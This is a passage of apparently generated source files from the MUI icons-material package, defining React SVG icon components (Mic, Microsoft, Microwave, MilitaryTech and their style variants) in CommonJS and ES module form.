    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}, \"1\")], 'MicSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}, \"2\")], 'MicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c.55 0 1-.45 1-1V5c0-.55-.45-1-1-1s-1 .45-1 1v6c0 .55.45 1 1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 14c1.66 0 3-1.34 3-3V5c0-1.66-1.34-3-3-3S9 3.34 9 5v6c0 1.66 1.34 3 3 3m-1-9c0-.55.45-1 1-1s1 .45 1 1v6c0 .55-.45 1-1 1s-1-.45-1-1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11c0 2.76-2.24 5-5 5s-5-2.24-5-5H5c0 3.53 2.61 6.43 6 6.92V21h2v-3.08c3.39-.49 6-3.39 6-6.92z\"\n}, \"2\")], 'MicTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Microsoft.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 3h9v9H2V3m9 19H2v-9h9v9M21 3v9h-9V3h9m0 19h-9v-9h9v9Z\"\n}), 'Microsoft');"
  },
  {
    "path": "packages/mui-icons-material/lib/Microsoft.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 3h9v9H2V3m9 19H2v-9h9v9M21 3v9h-9V3h9m0 19h-9v-9h9v9Z\"\n}), 'Microsoft');"
  },
  {
    "path": "packages/mui-icons-material/lib/Microwave.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.8 10.61 5.37 9.19C5.73 8.79 6.59 8 7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.22 1.19-2.37 1.19-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61M7.75 15c.19 0 .38.12.71.34.42.28 1 .66 1.79.66 1.16 0 2.01-.79 2.37-1.19l-1.42-1.42c-.15.2-.59.61-.95.61-.18 0-.38-.12-.69-.33-.42-.28-1.01-.67-1.81-.67-1.16 0-2.02.79-2.38 1.19l1.42 1.42c.16-.2.59-.61.96-.61M22 6v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-8 0H4v12h10zm5 10c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-4c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-5h-2v2h2z\"\n}), 'Microwave');"
  },
  {
    "path": "packages/mui-icons-material/lib/Microwave.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.8 10.61 5.37 9.19C5.73 8.79 6.59 8 7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.22 1.19-2.37 1.19-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61M7.75 15c.19 0 .38.12.71.34.42.28 1 .66 1.79.66 1.16 0 2.01-.79 2.37-1.19l-1.42-1.42c-.15.2-.59.61-.95.61-.18 0-.38-.12-.69-.33-.42-.28-1.01-.67-1.81-.67-1.16 0-2.02.79-2.38 1.19l1.42 1.42c.16-.2.59-.61.96-.61M22 6v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-8 0H4v12h10zm5 10c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-4c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-5h-2v2h2z\"\n}), 'Microwave');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicrowaveOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h10v12H4zm16 12h-4V6h4zm-1-9h-2V7h2zm-1 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7.75-1c-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61l-1.42-1.42c.35-.4 1.21-1.19 2.37-1.19.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.21 1.19-2.37 1.19m0-5c-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61L5.37 9.19C5.73 8.79 6.59 8 7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.21 1.19-2.37 1.19\"\n}), 'MicrowaveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicrowaveOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h10v12H4zm16 12h-4V6h4zm-1-9h-2V7h2zm-1 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7.75-1c-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61l-1.42-1.42c.35-.4 1.21-1.19 2.37-1.19.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.21 1.19-2.37 1.19m0-5c-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61L5.37 9.19C5.73 8.79 6.59 8 7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.21 1.19-2.37 1.19\"\n}), 'MicrowaveOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicrowaveRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.15 9.97c-.46-.46-.38-1.24.18-1.57.4-.22.88-.4 1.42-.4.8 0 1.39.39 1.81.67.31.21.51.33.69.33.13 0 .26-.05.39-.12.39-.22.88-.16 1.2.16.46.46.38 1.24-.18 1.56-.39.23-.87.4-1.41.4-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.13 0-.26.05-.39.12-.4.23-.89.16-1.21-.15M7.75 15c.19 0 .38.12.71.34.42.28 1 .66 1.79.66.54 0 1.02-.17 1.41-.4.56-.32.64-1.1.18-1.56-.32-.32-.81-.38-1.2-.16-.13.07-.26.12-.39.12-.18 0-.38-.12-.69-.33-.42-.28-1.01-.67-1.81-.67-.54 0-1.02.18-1.42.4-.56.33-.64 1.11-.18 1.56.32.32.81.38 1.2.16.14-.07.27-.12.4-.12M22 6v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-8 0H4v12h10zm5 10c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-4c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-5h-2v2h2z\"\n}), 'MicrowaveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicrowaveRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.15 9.97c-.46-.46-.38-1.24.18-1.57.4-.22.88-.4 1.42-.4.8 0 1.39.39 1.81.67.31.21.51.33.69.33.13 0 .26-.05.39-.12.39-.22.88-.16 1.2.16.46.46.38 1.24-.18 1.56-.39.23-.87.4-1.41.4-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.13 0-.26.05-.39.12-.4.23-.89.16-1.21-.15M7.75 15c.19 0 .38.12.71.34.42.28 1 .66 1.79.66.54 0 1.02-.17 1.41-.4.56-.32.64-1.1.18-1.56-.32-.32-.81-.38-1.2-.16-.13.07-.26.12-.39.12-.18 0-.38-.12-.69-.33-.42-.28-1.01-.67-1.81-.67-.54 0-1.02.18-1.42.4-.56.33-.64 1.11-.18 1.56.32.32.81.38 1.2.16.14-.07.27-.12.4-.12M22 6v12c0 1.1-.9 2-2 2H4c-1.1 0-2-.9-2-2V6c0-1.1.9-2 2-2h16c1.1 0 2 .9 2 2m-8 0H4v12h10zm5 10c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-4c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-5h-2v2h2z\"\n}), 'MicrowaveRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicrowaveSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.8 10.61 5.37 9.19C5.73 8.79 6.59 8 7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.22 1.19-2.37 1.19-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61M7.75 15c.19 0 .38.12.71.34.42.28 1 .66 1.79.66 1.16 0 2.01-.79 2.37-1.19l-1.42-1.42c-.15.2-.59.61-.95.61-.18 0-.38-.12-.69-.33-.42-.28-1.01-.67-1.81-.67-1.16 0-2.02.79-2.38 1.19l1.42 1.42c.16-.2.59-.61.96-.61M22 4v16H2V4zm-8 2H4v12h10zm5 10c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-4c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-5h-2v2h2z\"\n}), 'MicrowaveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicrowaveSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.8 10.61 5.37 9.19C5.73 8.79 6.59 8 7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.22 1.19-2.37 1.19-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61M7.75 15c.19 0 .38.12.71.34.42.28 1 .66 1.79.66 1.16 0 2.01-.79 2.37-1.19l-1.42-1.42c-.15.2-.59.61-.95.61-.18 0-.38-.12-.69-.33-.42-.28-1.01-.67-1.81-.67-1.16 0-2.02.79-2.38 1.19l1.42 1.42c.16-.2.59-.61.96-.61M22 4v16H2V4zm-8 2H4v12h10zm5 10c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-4c0-.55-.45-1-1-1s-1 .45-1 1 .45 1 1 1 1-.45 1-1m0-5h-2v2h2z\"\n}), 'MicrowaveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicrowaveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 18h10V6H4zM7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.22 1.19-2.37 1.19-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61L5.37 9.19C5.73 8.79 6.59 8 7.75 8m0 5c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.22 1.19-2.37 1.19-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61l-1.42-1.42c.35-.4 1.21-1.19 2.37-1.19M16 6v12h4V6zm2 11c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h10v12H4zm16 12h-4V6h4zm-1-9h-2V7h2zm-1 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7.75-1c-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61l-1.42-1.42c.35-.4 1.21-1.19 2.37-1.19.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.21 1.19-2.37 1.19m0-5c-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61L5.37 9.19C5.73 8.79 6.59 8 7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.21 1.19-2.37 1.19\"\n}, \"1\")], 'MicrowaveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MicrowaveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 18h10V6H4zM7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.22 1.19-2.37 1.19-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61L5.37 9.19C5.73 8.79 6.59 8 7.75 8m0 5c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.22 1.19-2.37 1.19-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61l-1.42-1.42c.35-.4 1.21-1.19 2.37-1.19M16 6v12h4V6zm2 11c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0-4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1-4h-2V7h2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M4 6h10v12H4zm16 12h-4V6h4zm-1-9h-2V7h2zm-1 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m0 4c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-7.75-1c-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61l-1.42-1.42c.35-.4 1.21-1.19 2.37-1.19.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.21 1.19-2.37 1.19m0-5c-.79 0-1.37-.38-1.79-.66-.33-.22-.52-.34-.71-.34-.37 0-.8.41-.95.61L5.37 9.19C5.73 8.79 6.59 8 7.75 8c.8 0 1.39.39 1.81.67.31.21.51.33.69.33.37 0 .8-.41.95-.61l1.42 1.42c-.36.4-1.21 1.19-2.37 1.19\"\n}, \"1\")], 'MicrowaveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTech.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.43V2H7v8.43c0 .35.18.68.49.86l4.18 2.51-.99 2.34-3.41.29 2.59 2.24L9.07 22 12 20.23 14.93 22l-.78-3.33 2.59-2.24-3.41-.29-.99-2.34 4.18-2.51c.3-.18.48-.5.48-.86m-4 1.8-1 .6-1-.6V3h2z\"\n}), 'MilitaryTech');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTech.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.43V2H7v8.43c0 .35.18.68.49.86l4.18 2.51-.99 2.34-3.41.29 2.59 2.24L9.07 22 12 20.23 14.93 22l-.78-3.33 2.59-2.24-3.41-.29-.99-2.34 4.18-2.51c.3-.18.48-.5.48-.86m-4 1.8-1 .6-1-.6V3h2z\"\n}), 'MilitaryTech');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTechOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.43V2H7v8.43c0 .35.18.68.49.86l4.18 2.51-.99 2.34-3.41.29 2.59 2.24L9.07 22 12 20.23 14.93 22l-.78-3.33 2.59-2.24-3.41-.29-.99-2.34 4.18-2.51c.3-.18.48-.5.48-.86m-6 .64-2-1.2V4h2zm4-1.2-2 1.2V4h2z\"\n}), 'MilitaryTechOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTechOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.43V2H7v8.43c0 .35.18.68.49.86l4.18 2.51-.99 2.34-3.41.29 2.59 2.24L9.07 22 12 20.23 14.93 22l-.78-3.33 2.59-2.24-3.41-.29-.99-2.34 4.18-2.51c.3-.18.48-.5.48-.86m-6 .64-2-1.2V4h2zm4-1.2-2 1.2V4h2z\"\n}), 'MilitaryTechOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTechRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.43V3c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v7.43c0 .35.18.68.49.86l4.18 2.51-.99 2.34-2.22.19c-.46.04-.64.59-.3.88l1.69 1.46-.51 2.18c-.1.43.37.77.75.54L12 20.23l1.91 1.15c.38.23.85-.11.75-.54l-.51-2.18 1.69-1.46c.33-.29.16-.84-.29-.88l-2.22-.19-.99-2.34 4.18-2.51c.3-.17.48-.49.48-.85m-4 1.8-1 .6-1-.6V3h2z\"\n}), 'MilitaryTechRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTechRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.43V3c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v7.43c0 .35.18.68.49.86l4.18 2.51-.99 2.34-2.22.19c-.46.04-.64.59-.3.88l1.69 1.46-.51 2.18c-.1.43.37.77.75.54L12 20.23l1.91 1.15c.38.23.85-.11.75-.54l-.51-2.18 1.69-1.46c.33-.29.16-.84-.29-.88l-2.22-.19-.99-2.34 4.18-2.51c.3-.17.48-.49.48-.85m-4 1.8-1 .6-1-.6V3h2z\"\n}), 'MilitaryTechRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTechSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 11V2H7v9l4.66 2.8-.99 2.34-3.41.29 2.59 2.24L9.07 22 12 20.23 14.93 22l-.78-3.33 2.59-2.24-3.41-.29-.99-2.34zm-4 1.23-1 .6-1-.6V3h2z\"\n}), 'MilitaryTechSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTechSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 11V2H7v9l4.66 2.8-.99 2.34-3.41.29 2.59 2.24L9.07 22 12 20.23 14.93 22l-.78-3.33 2.59-2.24-3.41-.29-.99-2.34zm-4 1.23-1 .6-1-.6V3h2z\"\n}), 'MilitaryTechSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTechTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13 11.07 2-1.2V4h-2zM9 4v5.87l2 1.2V4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 10.43V2H7v8.43c0 .35.18.68.49.86l4.18 2.51-.99 2.34-3.41.29 2.59 2.24L9.07 22 12 20.23 14.93 22l-.78-3.33 2.59-2.24-3.41-.29-.99-2.34 4.18-2.51c.3-.18.48-.5.48-.86m-6 .64-2-1.2V4h2zm4-1.2-2 1.2V4h2z\"\n}, \"1\")], 'MilitaryTechTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MilitaryTechTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13 11.07 2-1.2V4h-2zM9 4v5.87l2 1.2V4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 10.43V2H7v8.43c0 .35.18.68.49.86l4.18 2.51-.99 2.34-3.41.29 2.59 2.24L9.07 22 12 20.23 14.93 22l-.78-3.33 2.59-2.24-3.41-.29-.99-2.34 4.18-2.51c.3-.18.48-.5.48-.86m-6 .64-2-1.2V4h2zm4-1.2-2 1.2V4h2z\"\n}, \"1\")], 'MilitaryTechTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Minimize.js",
